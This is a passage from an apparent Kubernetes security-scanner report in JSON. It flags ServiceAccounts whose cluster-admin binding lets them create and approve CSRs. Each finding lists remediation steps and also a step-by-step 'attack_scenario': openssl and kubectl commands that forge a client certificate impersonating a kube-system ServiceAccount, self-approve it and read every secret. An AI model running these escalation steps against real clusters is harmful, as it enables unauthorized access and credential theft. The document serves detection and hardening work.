      "They extract it — `kubectl get csr \u003ccsr-name\u003e -o jsonpath='{.status.certificate}' | base64 -d \u003e steal.crt` — and use it: `kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A`, now authenticated as the impersonated ServiceAccount with all of its permissions."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-detour-direct",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Split the halves across different subjects: never grant `create csr` and `update csr/approval` to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the `approve` verb on `signers` should be scoped to the one signerName that identity legitimately handles.",
    "remediation_steps": [
      "Audit who holds both verbs: `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test(\"certificatesigningrequests\")) | {kind, name: .metadata.name, rules}'`.",
      "Remove one half from ServiceAccount/cutres/cutres-detour. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need `create` but never `approval`.",
      "Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no `--disable-admission-plugins` entry on the apiserver removes them), and scope any legitimate `approve` grant with `resourceNames: [\"\u003cthe one signerName\u003e\"]` on the `signers` resource.",
      "For legitimate auto-approval (kubelet bootstrap), use the built-in `system:kube-controller-manager` flow or a CSR controller with a tightly-scoped `signerName` (e.g. `kubernetes.io/kubelet-serving` only).",
      "Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: `system:masters` in an Organization, any `system:serviceaccount:` or `system:node:` Common Name, and any CN naming a user bound to a privileged ClusterRole.",
      "Verify the remediation with `kubectl auth can-i update certificatesigningrequests/approval --as=cutres-detour -A` returning `no` for at least one of the two halves.",
      "Check whether a cert was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type`. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.",
      "Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction",
      "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: CertificateSigningRequest escalation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest"
      },
      {
        "title": "Kubernetes — Certificate Signing Requests (signers, approval, authorization)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateApproval, CertificateSigning, CertificateSubjectRestriction",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction"
      },
      {
        "title": "Rory McCune (Aqua) — Kubernetes CSR API for Privilege Escalation",
        "url": "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-011:ServiceAccount/cutres/cutres-parallel::*",
    "rule_id": "KUBE-PRIVESC-011",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "CSR create + approve mints a client cert for any identity on `ServiceAccount/cutres/cutres-parallel` (fully enforced-authorized: also holds `approve` on the signer)",
    "description": "Subject ServiceAccount/cutres/cutres-parallel can both `create` `certificatesigningrequests` (via ClusterRoleBinding `cutres-parallel-a` → ClusterRole `cluster-admin`) and `update/patch` the `certificatesigningrequests/approval` subresource (via ClusterRoleBinding `cutres-parallel-a` → ClusterRole `cluster-admin`). Held together, those two verbs turn the certificates API into an identity vending machine.\n\nThe mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the `User` and each Organization as a `Group`, and it applies that mapping to any certificate signed by a CA in `--client-ca-file` — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as exactly that ServiceAccount and inherits every binding it has.\n\nNote which claim actually works. `O=system:masters` (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any `kubernetes.io/kube-apiserver-client` CSR naming `system:masters` as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as `clusterrole-aggregation-controller` (which holds `escalate` on ClusterRoles), a control-plane user like `system:kube-controller-manager`, or `O=system:nodes` for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.\n\nThe subject ALSO holds `approve` on `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown` (via ClusterRoleBinding `cutres-parallel-a` → ClusterRole `cluster-admin`), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.\n\nThe Kubernetes project flags the underlying grant in `RBAC Good Practices`: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-parallel",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide"
    },
    "impact": "Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the two halves with `kubectl auth can-i create certificatesigningrequests --as=cutres-parallel -A` and `kubectl auth can-i update certificatesigningrequests/approval --as=cutres-parallel -A`, and checks the signer gate with `kubectl auth can-i --list --as=system:serviceaccount:cutres:cutres-parallel | grep signers`.",
      "They pick an identity worth stealing — `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name==\"cluster-admin\") | .subjects[]?'` — typically a kube-system ServiceAccount or a control-plane user.",
      "They generate a key + CSR claiming it in the Common Name: `openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr`. (They avoid `O=system:masters`: CertificateSubjectRestriction rejects that Organization for this signer.)",
      "They submit it against the `kubernetes.io/kube-apiserver-client` signer with `usages: [client auth]`: `kubectl apply -f csr.yaml`.",
      "They self-approve: `kubectl certificate approve \u003ccsr-name\u003e`. The kube-controller-manager's signer issues the cert with the cluster CA.",
      "They extract it — `kubectl get csr \u003ccsr-name\u003e -o jsonpath='{.status.certificate}' | base64 -d \u003e steal.crt` — and use it: `kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A`, now authenticated as the impersonated ServiceAccount with all of its permissions."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "cutres-parallel-a",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Split the halves across different subjects: never grant `create csr` and `update csr/approval` to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the `approve` verb on `signers` should be scoped to the one signerName that identity legitimately handles.",
    "remediation_steps": [
      "Audit who holds both verbs: `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test(\"certificatesigningrequests\")) | {kind, name: .metadata.name, rules}'`.",
      "Remove one half from ServiceAccount/cutres/cutres-parallel. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need `create` but never `approval`.",
      "Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no `--disable-admission-plugins` entry on the apiserver removes them), and scope any legitimate `approve` grant with `resourceNames: [\"\u003cthe one signerName\u003e\"]` on the `signers` resource.",
      "For legitimate auto-approval (kubelet bootstrap), use the built-in `system:kube-controller-manager` flow or a CSR controller with a tightly-scoped `signerName` (e.g. `kubernetes.io/kubelet-serving` only).",
      "Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: `system:masters` in an Organization, any `system:serviceaccount:` or `system:node:` Common Name, and any CN naming a user bound to a privileged ClusterRole.",
      "Verify the remediation with `kubectl auth can-i update certificatesigningrequests/approval --as=cutres-parallel -A` returning `no` for at least one of the two halves.",
      "Check whether a cert was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type`. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.",
      "Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction",
      "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: CertificateSigningRequest escalation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest"
      },
      {
        "title": "Kubernetes — Certificate Signing Requests (signers, approval, authorization)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateApproval, CertificateSigning, CertificateSubjectRestriction",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction"
      },
      {
        "title": "Rory McCune (Aqua) — Kubernetes CSR API for Privilege Escalation",
        "url": "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-011:ServiceAccount/deepchain-tenant/deepchain-privileged::*",
    "rule_id": "KUBE-PRIVESC-011",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "CSR create + approve mints a client cert for any identity on `ServiceAccount/deepchain-tenant/deepchain-privileged` (fully enforced-authorized: also holds `approve` on the signer)",
    "description": "Subject ServiceAccount/deepchain-tenant/deepchain-privileged can both `create` `certificatesigningrequests` (via ClusterRoleBinding `deepchain-privileged` → ClusterRole `cluster-admin`) and `update/patch` the `certificatesigningrequests/approval` subresource (via ClusterRoleBinding `deepchain-privileged` → ClusterRole `cluster-admin`). Held together, those two verbs turn the certificates API into an identity vending machine.\n\nThe mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the `User` and each Organization as a `Group`, and it applies that mapping to any certificate signed by a CA in `--client-ca-file` — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as exactly that ServiceAccount and inherits every binding it has.\n\nNote which claim actually works. `O=system:masters` (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any `kubernetes.io/kube-apiserver-client` CSR naming `system:masters` as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as `clusterrole-aggregation-controller` (which holds `escalate` on ClusterRoles), a control-plane user like `system:kube-controller-manager`, or `O=system:nodes` for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.\n\nThe subject ALSO holds `approve` on `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown` (via ClusterRoleBinding `deepchain-privileged` → ClusterRole `cluster-admin`), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.\n\nThe Kubernetes project flags the underlying grant in `RBAC Good Practices`: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-privileged",
      "namespace": "deepchain-tenant"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide"
    },
    "impact": "Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the two halves with `kubectl auth can-i create certificatesigningrequests --as=deepchain-privileged -A` and `kubectl auth can-i update certificatesigningrequests/approval --as=deepchain-privileged -A`, and checks the signer gate with `kubectl auth can-i --list --as=system:serviceaccount:deepchain-tenant:deepchain-privileged | grep signers`.",
      "They pick an identity worth stealing — `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name==\"cluster-admin\") | .subjects[]?'` — typically a kube-system ServiceAccount or a control-plane user.",
      "They generate a key + CSR claiming it in the Common Name: `openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr`. (They avoid `O=system:masters`: CertificateSubjectRestriction rejects that Organization for this signer.)",
      "They submit it against the `kubernetes.io/kube-apiserver-client` signer with `usages: [client auth]`: `kubectl apply -f csr.yaml`.",
      "They self-approve: `kubectl certificate approve \u003ccsr-name\u003e`. The kube-controller-manager's signer issues the cert with the cluster CA.",
      "They extract it — `kubectl get csr \u003ccsr-name\u003e -o jsonpath='{.status.certificate}' | base64 -d \u003e steal.crt` — and use it: `kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A`, now authenticated as the impersonated ServiceAccount with all of its permissions."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "deepchain-privileged",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Split the halves across different subjects: never grant `create csr` and `update csr/approval` to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the `approve` verb on `signers` should be scoped to the one signerName that identity legitimately handles.",
    "remediation_steps": [
      "Audit who holds both verbs: `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test(\"certificatesigningrequests\")) | {kind, name: .metadata.name, rules}'`.",
      "Remove one half from ServiceAccount/deepchain-tenant/deepchain-privileged. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need `create` but never `approval`.",
      "Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no `--disable-admission-plugins` entry on the apiserver removes them), and scope any legitimate `approve` grant with `resourceNames: [\"\u003cthe one signerName\u003e\"]` on the `signers` resource.",
      "For legitimate auto-approval (kubelet bootstrap), use the built-in `system:kube-controller-manager` flow or a CSR controller with a tightly-scoped `signerName` (e.g. `kubernetes.io/kubelet-serving` only).",
      "Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: `system:masters` in an Organization, any `system:serviceaccount:` or `system:node:` Common Name, and any CN naming a user bound to a privileged ClusterRole.",
      "Verify the remediation with `kubectl auth can-i update certificatesigningrequests/approval --as=deepchain-privileged -A` returning `no` for at least one of the two halves.",
      "Check whether a cert was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type`. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.",
      "Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction",
      "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: CertificateSigningRequest escalation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest"
      },
      {
        "title": "Kubernetes — Certificate Signing Requests (signers, approval, authorization)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/"
      },
      {
        "title": "Kubernetes — Authenticating: X509 client certificates (CN → user, O → group)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates"
      },
      {
        "title": "Kubernetes — Admission Controllers: CertificateApproval, CertificateSigning, CertificateSubjectRestriction",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction"
      },
      {
        "title": "Rory McCune (Aqua) — Kubernetes CSR API for Privilege Escalation",
        "url": "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/"
      },
      {
        "title": "Kubernetes — RBAC Good Practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1098.001",
        "name": "Account Manipulation: Additional Cloud Credentials",
        "url": "https://attack.mitre.org/techniques/T1098/001/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1550",
        "name": "Use Alternate Authentication Material",
        "url": "https://attack.mitre.org/techniques/T1550/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-011:ServiceAccount/flux-system/kustomize-controller::*",
    "rule_id": "KUBE-PRIVESC-011",
    "severity": "CRITICAL",
    "score": 10,
    "category": "privilege_escalation",
    "title": "CSR create + approve mints a client cert for any identity on `ServiceAccount/flux-system/kustomize-controller` (fully enforced-authorized: also holds `approve` on the signer)",
    "description": "Subject ServiceAccount/flux-system/kustomize-controller can both `create` `certificatesigningrequests` (via ClusterRoleBinding `deepchain-flux-admin` → ClusterRole `cluster-admin`) and `update/patch` the `certificatesigningrequests/approval` subresource (via ClusterRoleBinding `deepchain-flux-admin` → ClusterRole `cluster-admin`). Held together, those two verbs turn the certificates API into an identity vending machine.\n\nThe mechanism: a CertificateSigningRequest carries an x509 CSR whose Subject DN is chosen by whoever submits it. The kube-apiserver's client-cert authenticator treats the Common Name as the `User` and each Organization as a `Group`, and it applies that mapping to any certificate signed by a CA in `--client-ca-file` — it never asks whether the identity in the cert is one Kubernetes would have issued. Kubernetes never issues a certificate to a ServiceAccount, but a cert with `CN=system:serviceaccount:kube-system:\u003csa\u003e` authenticates as exactly that ServiceAccount and inherits every binding it has.\n\nNote which claim actually works. `O=system:masters` (the group the apiserver hard-codes as cluster-admin) is the textbook version and it is the one modern clusters block: the CertificateSubjectRestriction admission plugin, on by default since 1.19, rejects any `kubernetes.io/kube-apiserver-client` CSR naming `system:masters` as an Organization. Nothing restricts the CN, so the working route is to claim a privileged existing identity — a kube-system ServiceAccount such as `clusterrole-aggregation-controller` (which holds `escalate` on ClusterRoles), a control-plane user like `system:kube-controller-manager`, or `O=system:nodes` for a node identity. An operator who tests only the system:masters form will wrongly conclude this finding is not exploitable.\n\nThe subject ALSO holds `approve` on `kubernetes.io/kube-apiserver-client`, `kubernetes.io/kube-apiserver-client-kubelet`, `kubernetes.io/legacy-unknown` (via ClusterRoleBinding `deepchain-flux-admin` → ClusterRole `cluster-admin`), which is the second gate the CertificateApproval admission plugin enforces since 1.19. Both gates the apiserver checks are therefore already satisfied: nothing stands between this subject and a signed client certificate for an identity of its choosing.\n\nThe Kubernetes project flags the underlying grant in `RBAC Good Practices`: 'Anyone with full control over the CertificateSigningRequest API, including the ability to approve CSRs, is effectively a Kubernetes cluster admin'. The issued cert survives RBAC binding revocation, has whatever validity period the signer applies (often a year), leaves no Secret behind to rotate, and Kubernetes has no revocation list — only a CA rotation invalidates it.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "kustomize-controller",
      "namespace": "flux-system"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cluster-admin",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: CertificateSigningRequests are a cluster-scoped resource and approval applies cluster-wide"
    },
    "impact": "Identity forgery via the certificates API: the subject can mint a CA-signed x509 client cert for any user, group, or ServiceAccount name it chooses (including privileged kube-system ServiceAccounts and control-plane users), then authenticate as that identity. The cert persists after the RBAC grant is revoked and cannot be revoked.",
    "attack_scenario": [
      "Attacker confirms the two halves with `kubectl auth can-i create certificatesigningrequests --as=kustomize-controller -A` and `kubectl auth can-i update certificatesigningrequests/approval --as=kustomize-controller -A`, and checks the signer gate with `kubectl auth can-i --list --as=system:serviceaccount:flux-system:kustomize-controller | grep signers`.",
      "They pick an identity worth stealing — `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name==\"cluster-admin\") | .subjects[]?'` — typically a kube-system ServiceAccount or a control-plane user.",
      "They generate a key + CSR claiming it in the Common Name: `openssl req -new -newkey rsa:2048 -nodes -keyout steal.key -subj '/CN=system:serviceaccount:kube-system:clusterrole-aggregation-controller' -out steal.csr`. (They avoid `O=system:masters`: CertificateSubjectRestriction rejects that Organization for this signer.)",
      "They submit it against the `kubernetes.io/kube-apiserver-client` signer with `usages: [client auth]`: `kubectl apply -f csr.yaml`.",
      "They self-approve: `kubectl certificate approve \u003ccsr-name\u003e`. The kube-controller-manager's signer issues the cert with the cluster CA.",
      "They extract it — `kubectl get csr \u003ccsr-name\u003e -o jsonpath='{.status.certificate}' | base64 -d \u003e steal.crt` — and use it: `kubectl --client-certificate=steal.crt --client-key=steal.key get secrets -A`, now authenticated as the impersonated ServiceAccount with all of its permissions."
    ],
    "evidence": {
      "api_groups": [
        "*"
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "*"
      ],
      "scope": "cluster",
      "source_binding": "deepchain-flux-admin",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cluster-admin",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "*"
      ]
    },
    "remediation": "Split the halves across different subjects: never grant `create csr` and `update csr/approval` to the same identity. Approval belongs to the kube-controller-manager's auto-approver (for known signers) or a strict admin allowlist, and the `approve` verb on `signers` should be scoped to the one signerName that identity legitimately handles.",
    "remediation_steps": [
      "Audit who holds both verbs: `kubectl get clusterroles,roles -A -o json | jq '.items[] | select(.rules[]?.resources[]? | test(\"certificatesigningrequests\")) | {kind, name: .metadata.name, rules}'`.",
      "Remove one half from ServiceAccount/flux-system/kustomize-controller. Application workloads almost never need either verb; CI/CD systems that issue dev certs typically need `create` but never `approval`.",
      "Keep the CertificateApproval and CertificateSubjectRestriction admission plugins enabled (they are default-on; confirm no `--disable-admission-plugins` entry on the apiserver removes them), and scope any legitimate `approve` grant with `resourceNames: [\"\u003cthe one signerName\u003e\"]` on the `signers` resource.",
      "For legitimate auto-approval (kubelet bootstrap), use the built-in `system:kube-controller-manager` flow or a CSR controller with a tightly-scoped `signerName` (e.g. `kubernetes.io/kubelet-serving` only).",
      "Add a ValidatingAdmissionPolicy (or Kyverno) over CertificateSigningRequest creation that rejects Subject DNs claiming an identity the requester is not: `system:masters` in an Organization, any `system:serviceaccount:` or `system:node:` Common Name, and any CN naming a user bound to a privileged ClusterRole.",
      "Verify the remediation with `kubectl auth can-i update certificatesigningrequests/approval --as=kustomize-controller -A` returning `no` for at least one of the two halves.",
      "Check whether a cert was already issued: `kubectl get csr -o custom-columns=NAME:.metadata.name,SIGNER:.spec.signerName,REQUESTOR:.spec.username,APPROVED:.status.conditions[*].type`. Note the CSR cleaner deletes issued CSRs about an hour after issuance, so an empty list does not prove nothing was minted.",
      "Rotate the cluster CA if you suspect a cert was issued — Kubernetes has no CRL or OCSP, so an issued cert stays valid for its full lifetime and CA rotation is the only revocation."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#certificatesigningrequest",
      "https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/",
      "https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certificates",
      "https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#certificatesubjectrestriction",
      "https://www.aquasec.com/blog/kubernetes-rbac-privilige-escalation/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
